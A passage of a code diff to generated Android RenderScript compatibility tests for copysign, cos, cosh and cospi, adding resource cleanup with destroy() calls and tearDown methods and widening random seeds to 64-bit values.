             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignHalf3Half3Half3(inMagnitudeValue, out);
             verifyResultsCopysignHalf3Half3Half3(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf3Half3Half3: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignHalf3Half3Half3(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkCopysignHalf4Half4Half4() {
-        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xaaa25bd5l, false);
-        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3e2145a8l, false);
+        Allocation inMagnitudeValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcbdf0083aaa25bd5l, false);
+        Allocation inSignValue = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x16579c043e2145a8l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInSignValue(inSignValue);
             script.forEach_testCopysignHalf4Half4Half4(inMagnitudeValue, out);
             verifyResultsCopysignHalf4Half4Half4(inMagnitudeValue, inSignValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInSignValue(inSignValue);
             scriptRelaxed.forEach_testCopysignHalf4Half4Half4(inMagnitudeValue, out);
             verifyResultsCopysignHalf4Half4Half4(inMagnitudeValue, inSignValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCopysignHalf4Half4Half4: " + e.toString());
         }
+        inMagnitudeValue.destroy();
+        inSignValue.destroy();
     }
 
     private void verifyResultsCopysignHalf4Half4Half4(Allocation inMagnitudeValue, Allocation inSignValue, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.java
index 9d9b0e5..82ea145 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCos.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestCosRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkCosFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbb80fef6l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xe70ae86bb80fef6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testCosFloatFloat(inV, out);
             verifyResultsCosFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCosFloatFloat(inV, out);
             verifyResultsCosFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkCosFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xb2bbfaal, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4bb740670b2bbfaal, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testCosFloat2Float2(inV, out);
             verifyResultsCosFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCosFloat2Float2(inV, out);
             verifyResultsCosFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkCosFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x146e088l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x4bb909820146e088l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testCosFloat3Float3(inV, out);
             verifyResultsCosFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCosFloat3Float3(inV, out);
             verifyResultsCosFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkCosFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf7620166l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4bbad29cf7620166l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testCosFloat4Float4(inV, out);
             verifyResultsCosFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCosFloat4Float4(inV, out);
             verifyResultsCosFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkCosHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x151d6890l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x66fc5fae151d6890l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testCosHalfHalf(inV, out);
             verifyResultsCosHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCosHalfHalf(inV, out);
             verifyResultsCosHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkCosHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x289f4632l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd4ce203a289f4632l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testCosHalf2Half2(inV, out);
             verifyResultsCosHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCosHalf2Half2(inV, out);
             verifyResultsCosHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkCosHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x87a70b26l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xd4ce2adb87a70b26l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testCosHalf3Half3(inV, out);
             verifyResultsCosHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCosHalf3Half3(inV, out);
             verifyResultsCosHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkCosHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xe6aed01al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd4ce357ce6aed01al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testCosHalf4Half4(inV, out);
             verifyResultsCosHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCosHalf4Half4(inV, out);
             verifyResultsCosHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCosHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCosHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.java
index 8b0755f..1eedefa 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCosh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestCoshRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkCoshFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x108cfb40l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xfb54622d108cfb40l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testCoshFloatFloat(inV, out);
             verifyResultsCoshFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCoshFloatFloat(inV, out);
             verifyResultsCoshFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkCoshFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4ebcf224l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x4453ccc34ebcf224l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testCoshFloat2Float2(inV, out);
             verifyResultsCoshFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCoshFloat2Float2(inV, out);
             verifyResultsCoshFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkCoshFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x44d81302l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x445595de44d81302l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testCoshFloat3Float3(inV, out);
             verifyResultsCoshFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCoshFloat3Float3(inV, out);
             verifyResultsCoshFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkCoshFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x3af333e0l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x44575ef93af333e0l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testCoshFloat4Float4(inV, out);
             verifyResultsCoshFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCoshFloat4Float4(inV, out);
             verifyResultsCoshFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkCoshHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x609e2d2al, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xe181b05b609e2d2al, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testCoshHalfHalf(inV, out);
             verifyResultsCoshHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCoshHalfHalf(inV, out);
             verifyResultsCoshHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkCoshHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7dab427cl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xc1b1d3e07dab427cl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testCoshHalf2Half2(inV, out);
             verifyResultsCoshHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCoshHalf2Half2(inV, out);
             verifyResultsCoshHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkCoshHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xdcb30770l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc1b1de81dcb30770l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testCoshHalf3Half3(inV, out);
             verifyResultsCoshHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCoshHalf3Half3(inV, out);
             verifyResultsCoshHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkCoshHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x3bbacc64l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xc1b1e9233bbacc64l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testCoshHalf4Half4(inV, out);
             verifyResultsCoshHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCoshHalf4Half4(inV, out);
             verifyResultsCoshHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCoshHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCoshHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.java
index 4776433..b66f9e5 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestCospi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestCospiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkCospiFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcc7595d1l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x95c59d24cc7595d1l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testCospiFloatFloat(inV, out);
             verifyResultsCospiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCospiFloatFloat(inV, out);
             verifyResultsCospiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkCospiFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x81c1536dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc026b40f81c1536dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testCospiFloat2Float2(inV, out);
             verifyResultsCospiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCospiFloat2Float2(inV, out);
             verifyResultsCospiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkCospiFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x77dc744bl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc0287d2a77dc744bl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testCospiFloat3Float3(inV, out);
             verifyResultsCospiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testCospiFloat3Float3(inV, out);
             verifyResultsCospiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkCospiFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x6df79529l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc02a46456df79529l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testCospiFloat4Float4(inV, out);
             verifyResultsCospiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testCospiFloat4Float4(inV, out);
             verifyResultsCospiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkCospiHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x252f4343l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xd734c528252f4343l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testCospiHalfHalf(inV, out);
             verifyResultsCospiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testCospiHalfHalf(inV, out);
             verifyResultsCospiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsCospiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkCospiHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3993dd0dl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5c230ed83993dd0dl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testCospiHalf2Half2(inV, out);
             verifyResultsCospiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testCospiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testCospiHalf2Half2(inV, out);
             verifyResultsCospiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
